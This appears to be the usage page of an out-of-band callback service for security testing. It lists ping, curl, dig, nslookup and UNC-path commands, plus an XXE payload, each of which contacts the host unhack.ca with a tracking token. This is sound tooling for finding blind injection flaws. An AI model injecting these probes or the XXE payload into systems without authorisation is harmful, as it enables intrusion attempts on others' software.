$ ping -c1 -p 00efc13479aa51050a0efbc6dc87f700 unhack.ca
 

$ curl http://unhack.ca/p/efc13479aa51050a0efbc6dc87f7
 

$ dig efc13479aa51050a0efbc6dc87f7 @unhack.ca
 

$ dig efc13479aa51050a0efbc6dc87f7.ns.unhack.ca
 

C:\> nslookup efc13479aa51050a0efbc6dc87f7 unhack.ca
 

C:\> type \\unhack.ca\efc13479aa51050a0efbc6dc87f7\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/efc13479aa51050a0efbc6dc87f7">]>
    <foo>&xxe;</foo>